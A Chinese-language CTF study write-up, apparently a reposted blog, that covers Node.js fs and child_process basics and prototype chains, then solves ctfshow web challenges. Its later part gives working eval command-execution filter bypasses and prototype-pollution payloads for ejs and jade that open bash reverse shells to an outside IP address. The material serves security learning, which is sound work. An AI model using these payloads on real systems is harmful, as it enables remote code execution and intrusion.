扫码领资料
获网安教程
免费&进群
CTF 的时候确实有遇到 NodeJS 的题目,但是从来没系统学习,所以拿到题很懵。不知道应该从什么地方入手,所以决定去学习一下
由于之前没怎么学过 JavaScript,所以边打题边学习了其基本语法,推荐一本好看的小说《JavaScript 百炼成仙》
还有就是可以去菜鸟学,两小时就能拉通
官方文档:http://nodejs.cn/api/modules.html
在 NodeJS 中分为三个模块,分别是:核心模块、自定义模块、第三方模块。
JS 代码在编程时,如果需要使用某个模块的功能,那么就需要提前将其导入,与 Python 类似,只不过在 Python 中使用 import 关键字,而 JS 中使用 require 关键字。
我主要学习在 ctf 中应用的比较多是几个方面
fs 模块支持以标准 POSIX 函数建模的方式与文件系统进行交互。
其中最简单的一个就是文件读取的操作
但是我们得分清楚
同步和异步
区别:
同步阻塞:同步的 API 会阻止 Node.js 事件循环和进一步的 JavaScript 执行,直到操作完成。
异步阻塞:对于一个 IO 操作,比如一个 ajax,当发出一个异步请求后,程序不会阻塞在那里等待结果的返回,而是继续执行下面的代码。
当请求成功获取到结果后,就会调用回调函数来处理后面的事情,这个就是异步
简单但不完全正确的说:
同异步与现实生活的方式相反,同步就是事一件一件做,做完一件再做下一件,而异步是同时开始。
举个例子
var fs = require('fs');//导入fs模块
a = fs.readFileSync('./m1.txt');
console.log(a.toString());
console.log("结束!");
这就是异步,它的输出结果为
很明显是等待每个操作完成,然后只执行下一个操作
接下来是同步
var fs = require("fs");//导入fs模块
fs.readFile('./m1.txt', function (err, data) {
if (err) return console.error(err);
console.log(data.toString());
console.log("------------------")
console.log("现在才结束!")
});
console.log("结束?");
这是就是异步,它的输出结果为
异步 从不等待每个操作完成,而是只在第一步执行所有操作
__dirname:当前模块的目录名。
__filename:当前模块的文件名。这是当前的模块文件的绝对路径(符号链接会被解析)。
exports 变量是默认赋值给 module.exports,它可以被赋予新值,它会暂时不会绑定到 module.exports。
module:在每个模块中, module 的自由变量是对表示当前模块的对象的引用。为方便起见,还可以通过全局模块的 exports
访问 module.exports。module 实际上不是全局的,而是每个模块本地的
require 模块就不多说了,用于引入模块、 JSON、或本地文件。可以从 node_modules 引入模块。
我们常用的全局变量为__dirname 和__filename
如果想自己尝试搭建可以参考这篇博客:用 nodejs 搭建简易的 HTTP 服务器
这里我就简单的搭一个
/**
1.使用 HTTP 服务器与客户端交互,需要 require('http')。
声明http协议
*/
var http = require('http');
/**
2.获取服务器对象
1.通过 http.createServer([requestListener]) 创建一个服务
requestListener <Function>
返回: <http.Server>
返回一个新建的 http.Server 实例。
对于服务端来说,主要做三件事:
1.接受客户端发出的请求。
2.处理客户端发来的请求。
3.向客户端发送响应。
*/
var server = http.createServer();
/**
3.声明端口号,开启服务。
server.listen([port][, host][, backlog][, callback])
port <number> :端口号
host <string> :主机ip
backlog <number> server.listen() 函数的通用参数
callback <Function> server.listen() 函数的通用参数
Returns: <net.Server>
启动一个TCP服务监听输入的port和host。
如果port省略或是0,系统会随意分配一个在'listening'事件触发后能被server.address().port检索的无用端口。
如果host省略,如果IPv6可用,服务器将会接收基于unspecified IPv6 address (::)的连接,否则接收基于unspecified IPv4 address (0.0.0.0)的连接
*/
server.listen(9000, function(){
console.log('服务器正在端口号:9000上运行......');
})
/**
4.给server 实例对象添加request请求事件,该请求事件是所有请求的入口。
任何请求都会触发改事件,然后执行事件对应的处理函数。
server.on('request',function(){
console.log('收到客户端发出的请求.......');
});
*/
//server.on('request',callbackFun)
/**
5.设置请求处理函数。
请求回调处理函数需要接收两个参数。
request :request是一个请求对象,可以拿到当前浏览器请求的一些信息。
eg:请求路径,请求方法等
response: response是一个响应对象,可以用来给请求发送响应。
*/
server.on('request',function(request,response){
console.log('收到客户端发出的请求.......');
console.log('当前请求路径:'+request.url);
response.write('hello nodeJs ');
response.write(' hello M1kael');
console.log('响应客户端发出的请求.......');
// 响应完成后主动结束响应。
response.end();
});
var callbackFun = function(request,response){
console.log('收到客户端发出的请求.......');
console.log('当前请求路径:'+request.url);
response.write('hello nodeJs');
response.write('hello M1kael');
console.log('响应客户端发出的请求.......');
// 响应完成后主动结束响应。
response.end();
}
child_process 提供了几种创建子进程的方式
异步方式:spawn、exec、execFile、fork
同步方式:spawnSync、execSync、execFileSync
经过上面的同步和异步思想的理解,创建子进程的同步异步方式应该不难理解。
异步进程的创建
child_process.exec (): 衍生 shell 并在该 shell 中运行命令,完成后将 stdout 和 stderr
传给回调函数。
child_process.execFile (): 与 child_process.exec ()
类似,不同之处在于,默认情况下,它直接衍生命令,而不先衍生 shell。
child_process.fork (): 衍生新的 Node.js 进程并使用建立的 IPC
通信通道(其允许在父子进程之间发送消息)调用指定的模块。
child_process.execSync (): child_process.exec () 的同步版本,其将阻塞 Node.js
事件循环。
child_process.execFileSync (): child_process.execFile () 的同步版本,其将阻塞
Node.js 事件循环。 等下会拿例题来使用
同步进程的创建
child_process.spawnSync ()、child_process.execSync () 和 child_process.execFileSync () 方法是同步的,将阻塞 Node.js 事件循环,暂停任何其他代码的执行,直到衍生的进程退出。
具体的细节大家可以去官方文档看看
原型
任何对象都有一个原型对象,这个原型对象由对象的内置属性__proto__指向它的构造函数的 prototype 指向的对象,即任何对象都是由一个构造函数创建的
举个例子
在 JavaScript 中,声明了一个函数 a,然后浏览器就自动在内存中创建一个对象 b,a 函数默认有一个属性 prototype 指向了这个对象 b,b 就是函数 a 的原型对象,简称原型。同时,对象 b 默认有属性 constructor 指向函数 a。
原型链
原型链的核心就是依赖对象__proto__的指向,当访问的属性在该对象不存在时,就会向上从该对象构造函数的 prototype 的进行查找,直至查找到 Object 时,就没有指向了。如果最终查找失败会返回 undefined 或报错
从属关系
prototype-> 函数的一个属性:对象 {}
eg:
function Test(){}
console.log(Test.prototype);
__proto___> 对象 Object 的一个属性:对象 {}
eg:
function Test(){}
console.log(Test.prototype);
var m1= new Test();
console.log(m1.__proto__);
对象的__proto__ 保存着该对象的的构造函数的 prototype
eg:
function Foo(){}
var fn=new Foo();
console.log(fn.__proto__ == Foo.prototype)
console.log(fn.__proto__.__proto__ == Object.prototype)
console.log(fn.__proto__.__proto__.__proto__ == Object.prototype.__proto__)
/*
true
true
true
*/
好,了解完这些之后我们再来谈谈原型链污染
借用 p 神对原型链污染的定义
在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染。(影响的是在子类中不存在的属性)
但是我看 p 神的文章看得半懂不懂,下来补了下基础知识才知道
这里我们需要了解它的继承方式
function Test(){
this.a=1;
}
Test.prototype.b=2;
Object.prototype.c=3;
var m1= new Test();
console.log(m1.a);
console.log(m1.b)
console.log(m1.c)
其实在我个人的建议,不妨把__proto__当作一个指针,它指向它的构造函数,然后构造函数的__proto__指向 Object,Object 中没有这个属性,使用指向空.
原型链污染的核心机制在于,当我们调用对象某一属性,它首先会从实例化对象中中寻找,如果没有找到,则会向上在构造函数中寻找,如果仍未找到则会继续向上,直到查找到元素或查找到 Object 类为止,意思就是我们只需要继承链修改掉 Obeject 类的属性时,去实例化 Obeject 类,其对象也拥有了我们修改的属性,这就是原型链污染。
在 ctfshow 平台上的,nodejs 模块的题目,很多基础知识,也学到了很多。
题目提供了源码
我只找了两段关键代码
user.js
module.exports = {
items: [
{username: 'CTFSHOW', password: '123456'}
]
};
login.js
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
给了账号密码但是有过滤,但是 toUpperCase () 用于把字符串转换为大写,所以只需要用户名小写 ctfshow 密码 123456 得到 flag
f12 根据提示随便传参试试
知道底层应该是 eval ('console.log (xxx)')
意思就是 nodejs 的命令执行
再使用 fs 模块来读下目录
require("fs").readdirSync('.','utf-8')
发现有个 fl00g.txt 然后再用这个模块来读就行
require("fs").readFileSync('./fl00g.txt','utf-8')
后面看 wp 才知道可以使用子进程,原理是 Node.js 中的 chile_process.exec 调用的是 /bash.sh,它是一个 bash 解释器,可以执行系统命令。
const {execSync} = require ('child_process').execSync (' 需要执行的终端命令 ')
所以这里的 pyload
require('child_process').execSync('ls')
require('child_process').execSync('cat fl00g.txt')
这里用 fs 模块也能直接出答案
require("fs").readdirSync('.','utf-8')
require("fs").readFileSync('./fl001g.txt','utf-8')
但是当我用上面的子进程 payload 出问题了
应该有过滤,因为返回的是 tql
所以我吗来读一下源码,先读文件名,用全局变量__fliename
然后还得用 fs 模块来读取文件
require("fs").readFileSync('/app/routes/index.js','utf-8')
var express = require('express');
var router = express.Router();
router.get('/', function(req, res, next) {
res.type('html');
var evalstring = req.query.eval;
if(typeof(evalstring)=='string' && evalstring.search(/exec|load/i)>0){
res.render('index',{ title: 'tql'}); }
else{
res.render('index', { title: eval(evalstring) });
} });
module.exports = router;
发现过滤了 exec 和 load
所以我们这又会想着两个思路
思路一:
既然有过滤,那就有绕过姿势
所以我在本地试出了加号可以绕过
但是打环境又不行,我发现在浏览器上会被加号解析成空格,从而达不到绕过的效果
再考虑去 url 编一下码,成功绕过
require("child_process")['exe'%2B'cSync']('ls')
require('child_process')['exe'%2B'cSync']('cat fl001g.txt')
思路二,
子进程那么多同步方式,我们就换一个就行
require( 'child_process' ).spawnSync( 'ls' ).stdout.toString()
require( 'child_process' ).spawnSync('cat', ['fl001g.txt'], {encoding: 'utf-8'}).stdout.toString()
web337
题目又给了源码
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});
module.exports = router;
需要满足 a,b 长度相同,a,b 值不同,a,b+flag 的 md5 值相同
这里一样的用数组绕过长度比较
原理就是这样,a 和 b 相当于 a [1]=1&b [1]=2,但是它的 md5 绕不过
而 c 和 d 传入 c [a]=1&d [a]=2 时,都返回 [object Object] flag {xxxx}。此时就能绕过了
然后 a []=1&b=1 就不用解释了
很简单的原型链污染入门题
www 的文件里面是 http 服务,先打开环境
发现是个登录界面,所以应该是在 login.js 里面可以进行污染
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
module.exports = router;
发现确实是需要满足 secert.ctfshow==='36dboy'
所以我们可以直接构造它的构造函数的原型有这个属性
所以我们直接抓包修改链子就行
也给了源码
在 login.js 中找到
意思是我们需要满足这个才行,但肯定利用不了,所以找一下其他地方来进行污染
在 api.js 中找到了 Function
这个函数(也是对象)的一个属性是 query,首先得知道这个对象的构造函数是自己,它和 Object 是特性,在底层就是这样规定的
然后我们看看能不能利用这个属性来进行污染
所以我们直接进行数据外带 试试 因为 Function 环境下没有 require 函数,直接使用 require (‘child_process’) 会报错,所以我们要用 global.process.mainModule.constructor._load 来代替
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/121.41.59.127/8080 0>&1\"')"}}
直接 post 传 api 界面进行污染就行
然后在目录下的 login.js 找到 flag
然后去看了 wp 知道这个题还有一个非预期解
利用点就是题用了 ejs 模板引擎,这个模板引擎有个漏洞可以 rce:
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/xxx 0>&1\"');var __tmp2"}}
与之前的 web338,web339339 都很相似
但是 web338 类似的地方
它在链子的第一层就定义了这个属性为 false,所以这里是打不了的
只能来打与 web339 相似的地方
依旧用这个属性来打,但是这里我们需要构造 function 的构造函数,也可以说就是 Object
它自己的最底层套了两次,所以我们就需要__proto__两层就行
所以 payload:
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/121.41.59.127/8080 0>&1\"')"}}}
依旧在 api 界面弹就行
还是在 login.js 找到
发现没有常规的逻辑漏洞让我们来污染了
然后看了一圈发现了这个
然后用之前这个基于 ejs 模板渲染的 rce 就行
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/121.41.59.127/8080 0>&1\"')"}}}
打过去后刷新一些页面就能反弹
没找到 flag, 算了不想花时间找了
直接下一题
这个也是模板渲染的 rce,只是它是基于 jade 模板渲染的 rce 就行,但是这里和 web140 又是一样里面有一层
然后直接去网上找一下 payload:
{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/121.41.59.127/8080 0>&1\"')"}}}
注意这两个点,然后打过去
随便刷新一下页面,反弹 shell 成功
然后在 env 环境变量里找到 flag
与上题一样,也是基于 jade 模板渲染的 rce
直接上题 paylaod:
{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/121.41.59.127/8080 0>&1\"')"}}}
操作一样就不多说了
给了源码
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}
});
很简单的构造问题了,node.js 处理 req.query.query 的时候,它不像 php 那样,后面 get 传的 query 值会覆盖前面的,而是会把这些值都放进一个数组中。而 JSON.parse 居然会把数组中的字符串都拼接到一起,再看满不满足格式,满足就进行解析,因此这样分开来传就可以绕过逗号了。
所以我们只需要构造一个
query={"name":"admin",query="password":"ctfshow",query="isVIP":true}
但是它这个过滤的是把逗号过滤掉了,然后逗号的 url 编码还是为 %2c,2c 也被过滤
这里我们就用 & 来绕过就行,然后再进行 url 编码
所以最终 payload:
?query=%7b%22%6e%61%6d%65%22%3a%22%61%64%6d%69%6e%22&query=%22%70%61%73%73%77%6f%72%64%22%3a%22%63%74%66%73%68%6f%77%22&query=%22%69%73%56%49%50%22%3a%74%72%75%65%7d
还是发现自己的代码功底太弱了,需要好好多做一些审计题。
NodeJs 的学习就先告一段落了,后面如果想深入再来补充。
参考链接一
参考链接二
参考链接三
参考链接四
参考链接五
参考链接六
参考链接七
声明:本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担! 本网站采用 BY-NC-SA 协议进行授权!转载请注明文章来源! 图片失效请留言通知博主及时更改!
来源:http://blog.m1kael.cn/index.php/archives/27/
声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权!
(hack视频资料及工具)
(部分展示)
往期推荐
文章引用微信公众号"白帽子左一",如有侵权,请联系管理员删除!